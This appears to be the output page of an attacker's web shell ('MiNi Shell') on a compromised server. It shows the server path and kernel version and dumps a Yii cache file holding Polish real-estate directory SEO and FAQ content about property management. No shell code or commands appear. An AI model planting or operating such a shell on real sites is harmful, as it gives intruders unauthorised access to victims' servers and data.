Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/5a/
Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Current File : /home/vmanager/www/frontend/runtime/cache/5a/5a023cc9969fa6fa8bd060dc55543f9c.bin
a:2:{i:0;a:1:{i:0;a:1:{i:0;a:10:{s:11:"id_category";i:757;s:9:"id_portal";i:17;s:4:"name";s:30:"Zarządzanie nieruchomościami";s:11:"description";N;s:4:"left";i:24;s:5:"right";i:25;s:5:"depth";i:1;s:10:"created_at";s:19:"2019-10-24 16:49:24";s:10:"updated_at";s:19:"2025-10-24 02:51:11";s:12:"seo_metadata";s:14710:"{"p_17": {"faq": "<script type=\"application/ld+json\">\n{\n  \"@context\": \"https://schema.org\",\n  \"@type\": \"FAQPage\",\n  \"mainEntity\": [\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Jakie dokumenty powinien posiadać zarządca przed podpisaniem umowy?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Profesjonalny zarządca powinien przedstawić umowę o świadczenie usług, warunki rozliczeń, zakres obowiązków, polisę ubezpieczeniową oraz referencje. Warto też upewnić się co do procedur awaryjnych i zakresu uprawnień do reprezentowania właścicieli.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Ile kosztuje zarządzanie nieruchomością?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Koszty zależą od zakresu usług, wielkości obiektu i lokalizacji; opłata może być stała miesięczna lub procent od przychodów z najmu. Dokładna wycena wymaga analizy specyfiki budynku, liczby lokali oraz zakresu prac technicznych i administracyjnych.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Czy zarządca może przejąć windykację czynszów?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Tak — wiele firm oferuje pełną obsługę windykacyjną, od monitów po współpracę z kancelariami prawnymi. Skuteczność windykacji zależy od stosowanych procedur oraz współpracy z prawnikiem, co zwykle jest standardową usługą dodatkową.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Jakie są obowiązki zarządcy wobec wspólnoty mieszkaniowej?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Zadania obejmują prowadzenie rachunkowości, obsługę zebrań, realizację remontów i bieżących napraw, nadzór nad dostawcami usług oraz zapewnienie zgodności z przepisami. Zarządca odpowiada także za komunikację z mieszkańcami i realizację uchwał wspólnoty.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Czy zarządca odpowiada za szkody powstałe w nieruchomości?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Odpowiedzialność zależy od zakresu umowy i rodzaju szkody; profesjonalne firmy posiadają ubezpieczenia OC, które pokrywają skutki działania lub zaniechań. W umowie powinny być jasno określone procedury zgłaszania szkód i granice odpowiedzialności zarządcy.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Jak długo trwa wdrożenie zarządzania po podpisaniu umowy?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Wdrożenie zwykle trwa od kilku dni do kilku tygodni, w zależności od stopnia skomplikowania obiektu i kompletności dokumentacji. Etap wdrożeniowy obejmuje inwentaryzację, przejęcie dokumentów, weryfikację dostawców i ustalenie procedur komunikacji z mieszkańcami lub najemcami.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Czy firmy zarządzające oferują audyty energetyczne i modernizacje?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Tak — wiele firm świadczy audyty energetyczne, przygotowuje projekty oszczędnościowe i nadzoruje modernizacje. To pozwala obniżyć koszty eksploatacji i zwiększyć wartość nieruchomości poprzez poprawę efektywności energetycznej.\"\n      }\n    },\n    {\n      \"@type\": \"Question\",\n      \"name\": \"Jak wygląda współpraca zarządcy z wykonawcami i dostawcami?\",\n      \"acceptedAnswer\": {\n        \"@type\": \"Answer\",\n        \"text\": \"Zarządca koordynuje przetargi, wybór wykonawców, negocjuje warunki umów serwisowych i nadzoruje jakość robót. Dobra firma posiada sieć sprawdzonych dostawców i procedury kontroli jakości realizowanych usług.\"\n      }\n    }\n  ]\n}\n</script>", "about": "Lista firm świadczących usługi zarządzania nieruchomościami: administracja wspólnot, zarządzanie najmem, utrzymanie techniczne, audyty energetyczne, księgowość, windykacja i doradztwo.", "title": "Zarządzanie nieruchomościami – zarządcy, administratorzy i firmy | Nieruchomosci.biz", "keywords": "zarządzanie nieruchomościami, zarządca nieruchomości, administracja wspólnot, facility management, zarządzanie najmem, utrzymanie techniczne, audyt energetyczny, rozliczenia mediów, windykacja czynszów, zarządzanie portfelem nieruchomości", "description_html": "<h1>Zarządzanie nieruchomościami</h1>\n<p>Zarządzanie nieruchomościami to kompleksowa obsługa budynków mieszkalnych, komercyjnych i portfeli najmu — znajdziesz tu firmy oferujące administrację wspólnot i spółdzielni, zarządzanie najmem, utrzymanie techniczne obiektów oraz usługi finansowo-księgowe i prawne. Firmy z tej kategorii optymalizują koszty eksploatacji, dbają o ciągłość serwisu technicznego, zapewniają komunikację z najemcami i właścicielami oraz wspierają procesy inwestycyjne i remontowe. Skorzystasz z profesjonalnego facility managementu, audytów stanu technicznego, usług windykacyjnych, a także doradztwa w zakresie zwiększania wartości nieruchomości i zgodności z przepisami.</p>\n\n<h2>Najważniejsze informacje:</h2>\n<ul>\n<li>Kompleksowa administracja i zarządzanie najmem dla budynków mieszkalnych i komercyjnych</li>\n<li>Utrzymanie techniczne, serwis i przeglądy okresowe</li>\n<li>Usługi finansowo-księgowe, rozliczenia mediów i budżetowanie</li>\n<li>Optymalizacja kosztów, audyty energetyczne i modernizacje</li>\n<li>Obsługa prawna, windykacja należności i wsparcie w relacjach z lokatorami</li>\n<li>Współpraca z pośrednikami, rzeczoznawcami, ubezpieczycielami i wykonawcami</li>\n</ul>\n<!-- pagebreak -->\n\n<h2>Wprowadzenie / kontekst kategorii</h2>\n<p>Zarządzanie nieruchomościami obejmuje działania operacyjne, techniczne i administracyjne, które zapewniają efektywne funkcjonowanie budynków oraz satysfakcję właścicieli i użytkowników. To branża kluczowa dla właścicieli portfeli najmu, wspólnot mieszkaniowych, inwestorów komercyjnych oraz deweloperów, którzy potrzebują partnera do obsługi codziennych procesów i projektów modernizacyjnych. Profesjonalne zarządzanie minimalizuje ryzyka prawno-finansowe, zwiększa wartość rynkową nieruchomości i wpływa bezpośrednio na poziom zwrotu z inwestycji.</p>\n\n<h2>Co oferują firmy z tej kategorii?</h2>\n<ul>\n<li>Administracja wspólnot mieszkaniowych i spółdzielni — prowadzenie księgowości, obsługa zebrań, realizacja uchwał (współpraca ze <a href=\"https://www.nieruchomosci.biz/firmy/lista/752_spoldzielnie-mieszkaniowe\" title=\"Spółdzielnie mieszkaniowe\" target=\"_blank\" rel=\"noopener\">Spółdzielnie mieszkaniowe</a>).</li>\n<li>Zarządzanie najmem krótkoterminowym i długoterminowym — obsługa najemców, umowy, pobieranie czynszów i rozliczenia.</li>\n<li>Facility management — nadzór techniczny, serwis instalacji, konserwacje i przeglądy okresowe.</li>\n<li>Utrzymanie czystości i zarządzanie personelem obsługi (sprzątanie, portiernia, monitoring).</li>\n<li>Usługi finansowo-księgowe — prowadzenie rzutów kosztów, rozliczeń mediów, budżetowanie i sprawozdawczość.</li>\n<li>Windykacja należności, obsługa prawna i mediacje z najemcami (współpraca z <a href=\"https://www.nieruchomosci.biz/firmy/lista/750_notariusze\" title=\"Notariusze\" target=\"_blank\" rel=\"noopener\">Notariusze</a> i kancelariami).</li>\n<li>Przygotowanie i nadzór nad remontami, modernizacjami energooszczędnymi, audyty energetyczne.</li>\n<li>Commerzjalizacja powierzchni komercyjnych, marketing najmu i wsparcie sprzedaży (współpraca z <a href=\"https://www.nieruchomosci.biz/firmy/lista/751_posrednicy-nieruchomosci\" title=\"Pośrednicy nieruchomości\" target=\"_blank\" rel=\"noopener\">Pośrednicy nieruchomości</a>).</li>\n<li>Wyceny i raporty stanu technicznego — współpraca z rzeczoznawcami (<a href=\"https://www.nieruchomosci.biz/firmy/lista/755_wycena-nieruchomosci\" title=\"Wycena nieruchomości\" target=\"_blank\" rel=\"noopener\">Wycena nieruchomości</a>).</li>\n<li>Zarządzanie dokumentacją prawną i zgodnością z przepisami budowlanymi oraz BHP.</li>\n<li>Usługi ubezpieczeniowe i likwidacja szkód we współpracy z ubezpieczycielami (<a href=\"https://www.nieruchomosci.biz/firmy/lista/754_ubezpieczenia\" title=\"Ubezpieczenia\" target=\"_blank\" rel=\"noopener\">Ubezpieczenia</a>).</li>\n</ul>\n\n<h2>Na co zwrócić uwagę przy wyborze / kryteria doboru</h2>\n<p>Wybierając zarządcę nieruchomości, sprawdź doświadczenie firmy w obsłudze podobnych obiektów (mieszkalnych, komercyjnych, wielolokalowych). Zwróć uwagę na zakres usług — czy firma oferuje pełen pakiet administracyjno-techniczny, czy jedynie wybrane elementy; istotne są też procedury awaryjne, szybkość reakcji na zgłoszenia i dostęp do serwisów. Oceń transparentność rozliczeń, referencje od innych klientów, system raportowania oraz posiadane ubezpieczenia i zgodność z przepisami.</p>\n\n<h2>Korzyści biznesowe i operacyjne</h2>\n<p>Profesjonalne zarządzanie nieruchomościami przekłada się na realne oszczędności i wyższy zwrot z inwestycji. Dzięki optymalizacji zużycia mediów, negocjacjom z dostawcami oraz zaplanowanym remontom można znacząco obniżyć koszty eksploatacji. Regularne przeglądy i konserwacje zmniejszają ryzyko awarii i kosztownych napraw, a sprawna obsługa najemców podnosi ich satysfakcję i redukuje rotację.</p>\n<p>Dodatkowo firmy zarządzające dostarczają rzetelne raporty finansowe i techniczne, co ułatwia podejmowanie decyzji inwestycyjnych, ubieganie się o finansowanie czy sprzedaż nieruchomości. Outsourcing zarządzania pozwala właścicielom skupić się na strategii inwestycyjnej, podczas gdy operator zajmuje się operacyjną stroną prowadzenia obiektów.</p>\n\n<h2>Zastosowania / przykładowe scenariusze</h2>\n<ul>\n<li>Wspólnota mieszkaniowa z kilkudziesięcioma lokalami: stała administracja, rozliczenia mediów, organizacja zebrań i realizacja uchwał.</li>\n<li>Inwestor posiadający portfel wynajmowanych mieszkań: zarządzanie najmem, selekcja najemców, obsługa napraw i windykacja.</li>\n<li>Centrum handlowe lub biurowiec: facility management, nadzór nad serwisami technicznymi, optymalizacja kosztów energii.</li>\n<li>Osiedle deweloperskie w fazie przekazania: koordynacja odbiorów, współpraca z <a href=\"https://www.nieruchomosci.biz/firmy/lista/747_developerzy\" title=\"Developerzy\" target=\"_blank\" rel=\"noopener\">Developerzy</a> i firmami wykonawczymi, przygotowanie do eksploatacji.</li>\n<li>Budynki użyteczności publicznej: zapewnienie zgodności z wymaganiami prawnymi, bezpieczeństwo i ciągłość działania usług.</li>\n<li>Projekt modernizacji energetycznej: audyt, przygotowanie dokumentacji, nadzór wykonawczy i monitoring oszczędności.</li>\n</ul>\n\n<h2>Najczęściej zadawane pytania (FAQ)</h2>\n<h3>Jakie dokumenty powinien posiadać zarządca przed podpisaniem umowy?</h3>\n<p>Profesjonalny zarządca powinien przedstawić umowę o świadczenie usług, warunki rozliczeń, zakres obowiązków, polisę ubezpieczeniową oraz referencje. Warto też upewnić się co do procedur awaryjnych i zakresu uprawnień do reprezentowania właścicieli.</p>\n\n<h3>Ile kosztuje zarządzanie nieruchomością?</h3>\n<p>Koszty zależą od zakresu usług, wielkości obiektu i lokalizacji; opłata może być stała miesięczna lub procent od przychodów z najmu. Dokładna wycena wymaga analizy specyfiki budynku, liczby lokali oraz zakresu prac technicznych i administracyjnych.</p>\n\n<h3>Czy zarządca może przejąć windykację czynszów?</h3>\n<p>Tak — wiele firm oferuje pełną obsługę windykacyjną, od monitów po współpracę z kancelariami prawnymi. Skuteczność windykacji zależy od stosowanych procedur oraz współpracy z prawnikiem, co zwykle jest standardową usługą dodatkową.</p>\n\n<h3>Jakie są obowiązki zarządcy wobec wspólnoty mieszkaniowej?</h3>\n<p>Zadania obejmują prowadzenie rachunkowości, obsługę zebrań, realizację remontów i bieżących napraw, nadzór nad dostawcami usług oraz zapewnienie zgodności z przepisami. Zarządca odpowiada także za komunikację z mieszkańcami i realizację uchwał wspólnoty.</p>\n\n<h3>Czy zarządca odpowiada za szkody powstałe w nieruchomości?</h3>\n<p>Odpowiedzialność zależy od zakresu umowy i rodzaju szkody; profesjonalne firmy posiadają ubezpieczenia OC, które pokrywają skutki działania lub zaniechań. W umowie powinny być jasno określone procedury zgłaszania szkód i granice odpowiedzialności zarządcy.</p>\n\n<h3>Jak długo trwa wdrożenie zarządzania po podpisaniu umowy?</h3>\n<p>Wdrożenie zwykle trwa od kilku dni do kilku tygodni, w zależności od stopnia skomplikowania obiektu i kompletności dokumentacji. Etap wdrożeniowy obejmuje inwentaryzację, przejęcie dokumentów, weryfikację dostawców i ustalenie procedur komunikacji z mieszkańcami lub najemcami.</p>\n\n<h3>Czy firmy zarządzające oferują audyty energetyczne i modernizacje?</h3>\n<p>Tak — wiele firm świadczy audyty energetyczne, przygotowuje projekty oszczędnościowe i nadzoruje modernizacje. To pozwala obniżyć koszty eksploatacji i zwiększyć wartość nieruchomości poprzez poprawę efektywności energetycznej.</p>\n\n<h3>Jak wygląda współpraca zarządcy z wykonawcami i dostawcami?</h3>\n<p>Zarządca koordynuje przetargi, wybór wykonawców, negocjuje warunki umów serwisowych i nadzoruje jakość robót. Dobra firma posiada sieć sprawdzonych dostawców i procedury kontroli jakości realizowanych usług.</p>\n\n<h2>Zobacz również:</h2>\n<ul>\n<li><a title=\"Pośrednicy nieruchomości\" href=\"https://www.nieruchomosci.biz/firmy/lista/751_posrednicy-nieruchomosci\" target=\"_blank\" rel=\"noopener\">Pośrednicy nieruchomości</a></li>\n<li><a title=\"Wycena nieruchomości\" href=\"https://www.nieruchomosci.biz/firmy/lista/755_wycena-nieruchomosci\" target=\"_blank\" rel=\"noopener\">Wycena nieruchomości</a></li>\n<li><a title=\"Ubezpieczenia\" href=\"https://www.nieruchomosci.biz/firmy/lista/754_ubezpieczenia\" target=\"_blank\" rel=\"noopener\">Ubezpieczenia</a></li>\n</ul>", "description_plaintext": "Znajdź firmy zajmujące się zarządzaniem nieruchomościami: administracja wspólnot, zarządzanie najmem, facility management, utrzymanie techniczne, księgowość i audyty. Sprawdź ofertę i wybierz zarządcę."}}";}}}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:5:{i:0;s:13:"company_33910";i:1;s:18:"presentation_58248";i:2;s:31:"presentation_58248_contact_data";i:3;s:18:"company_33910_tabs";i:4;s:39:"presentation_58248_industries_and_range";}s:4:"data";a:5:{s:32:"32a839cb75b88ae3fdad36d4b0ec1daf";s:21:"0.54895400 1747203943";s:32:"f22321cc1c6d935ebf528c48a5052dcc";s:21:"0.54895400 1747203943";s:32:"6165c0ba20b31e78bc0126fddaecfd76";s:21:"0.54895400 1747203943";s:32:"5229ba434a47a2aade72ed4dd28a7b3d";s:21:"0.54895400 1747203943";s:32:"858d6cad853b30e225db6c118a8fffa0";s:21:"0.67470000 1754407884";}s:8:"reusable";b:0;}}
Creat By MiNi SheLL
Email: jattceo@gmail.com